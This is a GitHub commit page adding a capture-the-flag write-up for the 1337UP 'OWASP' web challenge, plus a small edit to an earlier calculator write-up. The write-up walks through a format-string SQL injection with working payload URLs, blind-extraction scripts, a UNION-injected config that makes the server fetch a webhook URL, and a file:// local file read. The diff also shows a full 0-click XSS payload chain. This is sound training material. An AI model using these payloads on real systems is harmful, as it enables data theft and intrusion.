Skip to content

Commit

Permalink
Intigrity's 1337UP Web-OWASP writeup (#14)
Browse files Browse the repository at this point in the history
* Intigriti08/23

* Added 1337up web-owasp writeup

* Apply suggestions from code review

Co-authored-by: Arsenii es3n1n <[email protected]>

* Apply suggestions from code review

Co-authored-by: Arsenii es3n1n <[email protected]>

---------

Co-authored-by: jackson4800 <[email protected]>
Co-authored-by: Arsenii es3n1n <[email protected]>
  • Loading branch information
3 people authored Nov 20, 2023
1 parent 4a28046 commit 8f25a3c
Show file tree
Hide file tree
Showing 2 changed files with 186 additions and 1 deletion.
184 changes: 184 additions & 0 deletions 1337up23-web-owasp.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,184 @@
---
title: "1337UP web/OWASP"
publishDate: "20 Nov 2023"
description: "Author: cpp.dog"
tags: ["web", "1337up"]
---

#### Description

Everyone knows the OWASP top 10 are vulnerable, I guess this might be too 💀

Author: Ivars Vids

#### Code inspection

Sourceless.

P.S.
After CTF has ended, some participants shared the dirbusted source file.
`https://owasp.ctf.intigriti.io/search.php.save`

Please note that we didn't know about this file, because dirbusting is generally prohibited in most CTFs, unless it is explicitly stated in the challenge description.

So we were desperately guessing every possible shit out there.
```php
<?php
require_once('db.php');
$flag = file_get_contents('/flag.txt');
@include('header.php');

//build sql query
$sql = 'select * from owasp';
$sql_where = '';
foreach ($_REQUEST as $field => $value){
if ($sql_where) $sql_where = " AND $sql_where";
$sql_where = "position(%s in $field) $sql_where";
try {
$sql_where = @vsprintf($sql_where, Array("'". sqlesc($value) . "'"));
} catch (ValueError | TypeError $e) {
$sql_where = '';
}
if (preg_match('/[^a-z0-9\.\-_]/i', $field)) die ('Hacking attempt!');
}
$sql .= ($sql_where)?" where $sql_where":'';

foreach(sqlquery($sql) as $row){
@include('row.php');
$config = json_decode($row['config'], true);
}

if (isset($config['flag']) && $config['flag']){
$url = $config['url'];
// no printer manufacturer domains
if (preg_match('/canon|epson|brother|hp|minolta|sharp|dell|oki|samsung|xerox|lexmark/i', $url)) die('Looks like a printer!');
// $url = 'https://www.youtube.com/watch?v=2U3Faa3DejQ';
if (filter_var($url, FILTER_VALIDATE_URL)) {
$http_resp = file_get_contents($url);
var_dump($http_resp);
if ($flag === $http_resp){
die('Yes! You got the right flag!');
}
die('Wrong flag');
}
else {
die('URL does not start with HTTP or HTTPS protocol!');
}
}

@include('footer.php');
```

#### Fuzzing

We didn't see much of the possible attack vectors on the site, the only interesting thing at quick glance is search field. Which just GETs the `search.php`.

`https://owasp.ctf.intigriti.io/search.php?title=1`

SQL injection is definitely the first thing to try here, so we tried something like this:

`https://owasp.ctf.intigriti.io/search.php?title='"/`

No errors were produced with this input. We thought "what if we add another random query parameter?" and, to our surprise, it worked just fine and produced a mysql exception.

`https://owasp.ctf.intigriti.io/search.php?title=%27%22%2F&abacaba=123`


```py
Fatal error: Uncaught mysqli_sql_exception: Unknown column 'abacaba' in 'where clause' in /var/www/html/db.php:11
Stack trace:
#0 /var/www/html/db.php(11): mysqli->query('select * from o...') #1 /var/www/html/search.php(21): sqlquery('select * from o...') #2 {main} thrown in /var/www/html/db.php on line 11
```

After several attempts, we discovered that query string parameters must match the following regex pattern: `/[a-z0-9_-]/i`. Dots and spaces are replaced with underscores `_`. However, the `-` char is permitted, we immediately tried to exploit it to comment out the rest of the query, which may reveal a portion of it and help us understand what to do next.

`https://owasp.ctf.intigriti.io/search.php?b=1&1=321&--=123`

```py
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ') AND position('321' in 1) AND position('1' in b)' at line 1 in /var/www/html/db.php:11
Stack trace:
#0 /var/www/html/db.php(11): mysqli->query('select * from o...') #1 /var/www/html/search.php(21): sqlquery('select * from o...') #2 {main} thrown in /var/www/html/db.php on line 11
```

So it adds `AND position('value' in key)` for every query parameter in reversed order. Interesting. Looks like we can try format string injection.

`https://owasp.ctf.intigriti.io/search.php?a=%1$s) AND 0;--&id=1`

```py
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1') AND 0;--' in a)' at line 1 in /var/www/html/db.php:11
Stack trace:
#0 /var/www/html/db.php(11): mysqli->query('select * from o...') #1 /var/www/html/search.php(21): sqlquery('select * from o...') #2 {main} thrown in /var/www/html/db.php on line 11
```

We were right about format string injection! It seems we need to prepend the format string with an opening parenthesis and prefix the second parameter with `in title)` in order to get something interesting for us.

`https://owasp.ctf.intigriti.io/search.php?id=(%1$s&title=in title) OR 0 AND POSITION(`

The payload above returns empty article set, now we can extract everything.
Upon iterating over the information_schema.tables, we found an additional table called `flag`, with column `flag`. Let's dump it!

```py
from cr3.web.brute import trie_brute
from cr3.regex.solver import solve

def callback(flag, c, _):
return None, f"https://owasp.ctf.intigriti.io/search.php?id=(%1$s&title=in title) OR (SELECT COUNT(flag) FROM flag where HEX(SUBSTR(flag,{len(flag) + 1},1)) = HEX({hex(ord(c))})) > 0 AND POSITION("

flag = trie_brute(success="<h3>", pre_request_callback=callback)
```

`https://www.youtube.com/watch?v=dQw4w9WgXcQ`

And here we go, rickroll...

Well, we also found an additional column in article table named `config`. Let's dump it too.

```py
from cr3.web.brute import trie_brute
from cr3.regex.solver import solve

def callback(flag, c, _):
return None, f"https://owasp.ctf.intigriti.io/search.php?id=(%1$s&title=in title) OR (SELECT GROUP_CONCAT(config) FROM owasp where HEX(SUBSTR(config,{len(flag) + 1},1)) = HEX({hex(ord(c))})) > 0 AND POSITION("

flag = trie_brute(success="<h3>", pre_request_callback=callback)
```

```json
{}, {"__proto__":{"flag": "https://www.youtube.com/watch?v=Ct6BUPvE2sM"}}, {}, {"flag":false}, {}, [], 1337, "1337UP", null
```

It's JSON and there's new youtube link with another rickroll.
`https://www.youtube.com/watch?v=Ct6BUPvE2sM`

But what happens if we give it our own config, with something like this `{"flag":true}`?

`https://owasp.ctf.intigriti.io/search.php?id=(%1$s&title=in title) UNION SELECT 1,2,3, 0x7B22666C6167223A747275657D;-- AND POSITION(`

```py
Warning: Undefined array key "url" in /var/www/html/search.php on line 27

Deprecated: preg_match(): Passing null to parameter
#2 ($subject) of type string is deprecated in /var/www/html/search.php on line 29
URL does not start with HTTP or HTTPS protocol!
```

Let's try passing this value: `{"flag":true,"url":"link-to-webhooks"}`.
`https://owasp.ctf.intigriti.io/search.php?id=(%1$s&title=in title) UNION SELECT 1,2,3, 0x7B22666C6167223A747275652C2275726C223A2268747470733A2F2F776562686F6F6B2E736974652F32623037613133312D646534362D343135332D626561662D343036633265353831396132227D;-- AND POSITION(`

```py
string(140)
"This URL has no default content configured. View in Webhook.site."
Wrong flag
```

Since they check the domain, we tried LFI.
`https://owasp.ctf.intigriti.io/search.php?id=(%1$s&title=in title) UNION SELECT 1,2,3, 0x7B22666C6167223A747275652C2275726C223A2266696C653A2F2F2F666C61672E747874227D;-- AND POSITION(`

```py
string(40)
"INTIGRITI{php_n4n0_5ql1_lf1_53cr37_fl46}"
Yes! You got the right flag!
```

#### Flag
`INTIGRITI{php_n4n0_5ql1_lf1_53cr37_fl46}`
3 changes: 2 additions & 1 deletion intigriti0823-calculator/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -174,7 +174,6 @@ We can craft a blank space using `Math.random.name.toString` and so now let’s

![img1](./imgs/6.png)

Now the only problems we have are:
- We need to create characters which don't exist in function names like `(.)`
- `Array.push()` returns a new array length, which will create constant pain with `.toString()` and `.at()`

Expand Down Expand Up @@ -246,6 +245,7 @@ Now we need to shift the first element and push it to get `)alert(`

The new problem occurs when we have to create the `.` character, we will again rely on `String.fromCharCode`, now we need to get the value 46 from 15 somehow… Since e is close enough to 2 we can play with e^x and log2(x). We’ve found the exact value of x after different tests:


$$
log_2(e^{32}) \approx 46
$$
Expand Down Expand Up @@ -277,3 +277,4 @@ The final 0-click payload looks like this:
`Math.random.name.localeCompare.name.length.toString,Math.log2,Math.expm1,Math.ceil,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.sqrt,Math.expm1,Math.random.name.localeCompare.name.length.toString,Math.log2,Math.exp,Math.ceil,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.floor,Math.random.name.anchor.name.at,Math.seeds.push,Math.acos,Math.random.prototype.constructor.name.link.name.at,Math.seeds.push,Math.E.constructor.name.at,Math.seeds.push,Math.E.constructor.name.at,Math.seeds.push,Math.cbrt,Math.log2,Math.trunc.name.at,Math.seeds.push,Math.seeds.shift,Math.seeds.push,Math.clz32,Math.sqrt,Math.fround.name.at,Math.seeds.push,Math.cbrt,Math.acos.name.at,Math.seeds.push,Math.log10,Math.cos.name.at,Math.seeds.push,Math.cbrt,Math.trunc.name.at,Math.seeds.push,Math.log2,Math.expm1.name.at,Math.seeds.push,Math.log2,Math.seeds.at,Math.seeds.push,Math.log2,Math.trunc.name.at,Math.seeds.push,Math.cos,Math.trunc.name.at,Math.seeds.push,Math.cos,Math.clz32,Math.exp,Math.log2,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.asinh,Math.round,Math.seeds.find.name.at,Math.seeds.push,Math.asinh,Math.round,Math.seeds.isPrototypeOf.name.at,Math.seeds.push,Math.cos,Math.seeds.map.name.at,Math.seeds.push,Math.sin,Math.seeds.at.name.at,Math.seeds.push,Math.sin,Math.seeds.includes.name.at,Math.seeds.push,Math.cbrt,Math.seeds.find.name.at,Math.seeds.push,Math.seeds.shift,Math.seeds.push,Math.random.name.toString,Math.seeds.join,Math.constructor.constructor,Math.constructor.call.call`

![img1](./imgs/10.png)

0 comments on commit 8f25a3c

Please sign in to comment.